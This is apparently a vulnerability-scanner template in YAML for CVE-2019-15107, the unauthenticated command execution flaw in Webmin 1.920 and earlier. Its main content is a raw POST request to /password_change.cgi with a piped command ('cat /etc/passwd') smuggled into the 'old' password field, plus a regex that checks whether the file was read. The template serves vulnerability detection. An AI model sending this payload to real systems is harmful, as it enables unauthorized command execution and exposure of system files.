33 lines
1013 B
YAML
33 lines
1013 B
YAML
id: cve-2019-15107
|
|
|
|
info:
|
|
name: Webmin <= 1.920 Unauhenticated Remote Command Execution
|
|
author: bp0lr
|
|
severity: high
|
|
|
|
# Refrence:-https://www.exploit-db.com/exploits/47293
|
|
# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
|
|
|
|
requests:
|
|
- raw: #
|
|
- |
|
|
POST /password_change.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: https://{{Hostname}}/
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 73
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0:"
|